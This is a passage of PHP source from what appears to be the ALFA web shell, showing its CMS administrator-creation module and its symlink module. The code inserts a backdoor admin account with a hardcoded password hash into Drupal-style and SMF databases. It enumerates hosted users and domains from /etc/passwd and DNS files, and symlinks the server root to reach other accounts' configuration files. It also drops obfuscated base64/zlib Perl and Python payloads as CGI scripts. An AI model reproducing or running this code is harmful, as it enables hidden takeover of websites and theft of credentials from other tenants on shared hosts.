array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true)\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");\r\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\r\n$getDescuid = $getDescuid[\'uid\'];\r\n$getdescuid = $getDescuid++;\r\n$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values(\'$getDescuid\',\'$admin\',\'\\$S\\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC\',\'solevisible@fbi.gov\',\'filtered_html\',\'1\',\'Europe/Berlin\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select uid from users where name=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'uid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES (\'".$res."\', \'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\n\r\nif(isset($_POST[\'alfa10\']) && $_POST[\'alfa10\'] == \'smf\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| SMF |</div><p><p>\'.getConfigHtml(\'smf\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\\'smf\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'smf_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$setpwAlg = sha1(strtolower($admin) . \'solevisible\');\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,\'$admin\',\'1\',\'$admin\',\'$setpwAlg\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaMakePwd(){\r\n\tif(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){\r\n\t\treturn "/home/{user}/public_html/";\r\n\t}\r\n\t$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);\r\n\t$public = end($document);\r\n\tarray_pop($document);\r\n\tarray_pop($document);\r\n\t$path = implode("/", $document) . "/{user}/" . $public;\r\n\treturn $path;\r\n}\r\nfunction alfaGetDomains($state = false){\r\n\t$state = "named.conf";\r\n\t$lines = array();\r\n\t$lines = _alfa_file(\'/etc/named.conf\');\r\n\tif(!$lines){\r\n\t\t$lines = @scandir("/etc/valiases/");\r\n\t\t$state = "valiases";\r\n\t\tif(!$lines){\r\n\t\t\t$lines = @scandir("/var/named");\r\n\t\t\t$state = "named";\r\n\t\t\tif(!$lines && $state){\r\n\t\t\t\t$lines = _alfa_file(\'/etc/passwd\');\r\n\t\t\t\t$state = "passwd";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn array("lines" => $lines, "state" => $state);\r\n}\r\nfunction alfaCreateParentFolder(){\r\n\t$parent = $GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__;\r\n\tif(!@is_dir($parent)){\r\n\t\t@mkdir($parent, 0755, true);\r\n\t}\r\n}\r\nfunction alfasymlink(){\r\nalfahead();\r\nAlfaNum(9,10);\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\necho \'<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symphp\\\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symperl\\\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'sympy\\\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\')">| File Symlink | </a></h3></center>\';\r\nif(isset($_POST[\'alfa2\'])&&($_POST[\'alfa2\']==\'symperl\'||$_POST["alfa2"]=="sympy")){\r\n\t$sympath = alfaMakePwd();\r\n\t@mkdir(\'cgialfa\',0755);\r\n\t@chdir(\'cgialfa\');\r\n\talfacgihtaccess(\'cgi\');\r\n\t$perl = \'#!/usr/bin/perl -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;my $alfa_data="\'.__ALFA_DATA_FOLDER__.\'";eval(Compress::Zlib::memGunzip(decode_base64("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")));\';\r\n\t$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\nalfa_data=\'".__ALFA_DATA_FOLDER__."\'\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\r\n\t$cginame = "symperl.alfa";\r\n\t$source = $perl;\r\n\t$lang = "perl";\r\n\tif($_POST["alfa2"]=="sympy"){\r\n\t\t$cginame = "pysymlink.alfa";\r\n\t\t$source = $py;\r\n\t\t$lang = "python";\r\n\t}\r\n\t@__write_file($cginame,$source);\r\n\t@chmod($cginame,0755);\r\n\techo __pre();\r\n\t$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);\r\n\tif(strlen($resource) == 0){\r\n\t\techo AlfaiFrameCreator(\'cgialfa/\'.$cginame);\r\n\t}else{\r\n\t\techo $resource;\r\n\t}\r\n}\r\nif(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\'){\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(true,true)){\r\nAlfaNum(9,10);\r\necho __pre().\'\r\n<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">\r\n<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />\r\n<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>\r\n<p><input type="submit" value=" " name="symlink" /></p></form></center>\';\r\n$path = $_POST[\'alfa5\'];\r\n$symname = $_POST[\'alfa6\'];\r\n$solevisible58 = $_POST[\'alfa7\'];\r\nif($solevisible58){\r\n$new_name = str_replace(".", "_", basename($symname));\r\n$rand_dir = $new_name.rand(111,9999);\r\n$sym_dir = \'alfasymlinkphp/\'.$rand_dir.\'/\';\r\n@mkdir($sym_dir, 0777, true);\r\nalfacgihtaccess(\'sym\', $sym_dir, $symname);\r\n_alfa_symlink("$path","$sym_dir/$symname");\r\necho __pre();\r\necho \'<center><b><font color="white">Click >> </font><a target="_blank" href="\'.__ALFA_DATA_FOLDER__."/".$sym_dir.\'" ><b><font size="4">\'.$symname.\'</font></b></a></b></center>\';\r\n}\r\n}else{echo "<center><pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";}\r\n}\r\nif(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'symphp\'){\r\n$cant_symlink = true;\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(false,false)){\r\n@mkdir(\'alfasymlink\',0777);\r\nalfacgihtaccess(\'sym\',\'alfasymlink/\');\r\n_alfa_symlink(\'/\',\'alfasymlink/root\');\r\n$table_header = "<pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><table id=\'tbl_sympphp\' align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><span style=\'color:#FFFF01;\'><b>*</span></b></td><td><span style=\'color:#00A220;\'><b>Domains</span></b></td><td><span style=\'color:#FFFFFF;\'><b>Users</span></b></td><td><span style=\'color:#FF0000;\'><b>symlink</span></b></td>";\r\nif(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){\r\necho "<center>";\r\n$lines = array();\r\n$anony_domains = array();\r\n$anonymous_users = array();\r\n$f_black = array();\r\n$error = false;\r\n$anonymous = false;\r\n$makepwd = "/home/{user}/public_html/";\r\n$domains = alfaGetDomains();\r\n$lines = $domains["lines"];\r\n$state = $domains["state"];\r\n$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");\r\n$can_runcmd = _alfa_can_runCommand(false,false);\r\nif(!$is_posix && !$can_runcmd){\r\n\t$anonymous = true;\r\n\t$anony_domains = $domains["lines"];\r\n\t$lines = _alfa_file(\'/etc/passwd\');\r\n}\r\necho $table_header;\r\n$count=1;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nforeach($lines as $line){\r\n\t$domain = "";\r\n\t$owner = "";\r\n\tif($anonymous){\r\n\t\t$explode = explode(":", $line);\r\n\t\t$owner = $explode[0];\r\n\t\t$owner_len = strlen($owner) - 1;\r\n\t\t$userid = $explode[2];\r\n\t\tif((int)$userid < 500)continue;\r\n\t\t$domain = "[?????]";\r\n\t\t$temp_black = array();\r\n\t\t$finded = false;\r\n\t\tforeach($anony_domains as $anony){\r\n\t\t\tif($state == "named.conf"){\r\n\t\t\t\tif(@strstr($anony, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$anony, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t}else{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\t\tif($anony == "." || $anony == "..")continue;\r\n\t\t\t\tif($state == "named")$anony = rtrim($anony, ".db");\r\n\t\t\t\t$domain = $anony;\r\n\t\t\t}\r\n\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\tif(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\r\n\t\t\t\tif(in_array($owner.$domain, $temp_black))continue;\r\n\t\t\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t\t\t$http = "http://".$domain;\r\n\t\t\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t\t\t$count++;\r\n\t\t\t\t$temp_black[] = $owner.$domain;\r\n\t\t\t\t$finded = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!$finded){\r\n\t\t\t$anonymous_users[] = $owner;\r\n\t\t}\r\n\t}else{\r\n \t\tif($state == "named.conf"){\r\n\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t$domain = $data[1][0];\r\n\t\t\t}else{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\tif($line == "." || $line == "..")continue;\r\n\t\t\tif($state == "named")$line = rtrim($line, ".db");\r\n\t\t\t$domain = $line;\r\n\t\t}\r\n\t\tif(strlen(trim($domain)) > 2 && $state != "passwd"){\r\n\t\t\tif(!_alfa_file_exists(\'/etc/valiases/\'.$domain, false))continue;\r\n\t\t\tif($is_posix){\r\n\t\t\t\t$user = @posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain));\r\n\t\t\t\t$owner = $user["name"];\r\n\t\t\t}elseif($can_runcmd){\r\n\t\t\t\t$owner = alfaEx("stat -c \'%U\' /etc/valiases/".$domain,false,false);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(!$anonymous){\r\n\t\tif(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "http://".$domain;\r\n\t\tif($state == "passwd"){\r\n\t\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\t}\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t\t$f_black[] = $owner.$domain;\r\n\t}\r\n}\r\nif($anonymous){\r\n\tforeach($anonymous_users as $owner){\r\n\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t$http = "javascript:alert(\'we cant find domain...\')";\r\n\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);\r\n\t\t$count++;\r\n\t}\r\n}\r\n$cant_symlink = false;\r\n}else{\r\n$is_direct = false;\r\n$makepwd = alfaMakePwd();\r\nif(_alfa_file_exists("/etc/virtual/domainowners")){\r\n\t$makepwd = "/home/{user}/public_html";\r\n\t$is_direct = true;\r\n}\r\n$sole = _alfa_file("/etc/virtual/domainowners");\r\n$count=1;\r\necho $table_header;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nif($sole){\r\n\tforeach($sole as $visible){\r\n\t\tif(@strstr($visible,":")){\r\n\t\t\t$solevisible = explode(\':\', $visible);\r\n\t\t\t$cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);\r\n\t\t\techo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);\r\n\t\t}\r\n\t}\r\n}else{\r\n\t$passwd = _alfa_file("/etc/passwd");\r\n\tif($passwd){\r\n\t\t$html = "";\r\n\t\t$is_named = false;\r\n\t\t$users = array();\r\n\t\t$domains = array();\r\n\t\t$uknowns = array();\r\n\t\tforeach($passwd as $user){\r\n\t\t\t$user = trim($user);\r\n\t\t\t$expl = explode(":", $user);\r\n\t\t\tif((int)$expl[2] < 500)continue;\r\n\t\t\t$users[$expl[0]] = $expl[5];\r\n\t\t}\r\n\t\t$site_domains = @scandir("/etc/virtual/");\r\n\t\tif(!$site_domains){\r\n\t\t\t$site_domains = alfaEx("ls /etc/virtual/");\r\n\t\t\t$site_domains = explode("\\n", $site_domains);\r\n\t\t\tif(!$site_domains){\r\n\t\t\t\t$site_domains = _alfa_file("/etc/named.conf");\r\n\t\t\t\tif($site_domains){$is_named = true;}\r\n\t\t\t}\r\n\t\t}\r\n\t\tforeach($site_domains as $line){\r\n\t\t\tif($is_named){\r\n\t\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t\tif(strlen($domain > 2) && !empty($domain)){\r\n\t\t\t\t\t\t$domains[] = $domain;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}else{\r\n\t\t\t\t$domains[] = $line;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$x = 1;\r\n\t\tforeach($users as $user => $home){\r\n\t\t\tforeach($domains as $domain){\r\n\t\t\t\t$user_len = strlen($user) - 1;\r\n\t\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\t\t$five_user = substr($user, 0,$user_len);\r\n\t\t\t\t$five_domain = substr($sub_domain, 0,$user_len);\r\n\t\t\t\tif($five_user == $five_domain){\r\n\t\t\t\t\tif($is_direct){\r\n\t\t\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$uknowns[$user] = $home;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t$uknowns = array_unique($uknowns);\r\n\t\tforeach($uknowns as $user => $home){\r\n\t\t\tif($is_direct){\r\n\t\t\t\t$cwd = str_replace("{user}", $user, $makepwd);\r\n\t\t\t}else{\r\n\t\t\t\t$expl = explode("}/", $makepwd);\r\n\t\t\t\t$cwd = $home."/".$expl[1];\r\n\t\t\t}\r\n\t\t\t$html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);\r\n\t\t}\r\n\t\techo($html);\r\n\t}\r\n}\r\necho "</table>";\r\n$cant_symlink = false;\r\n}\r\n}else{\r\n\techo "<pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled 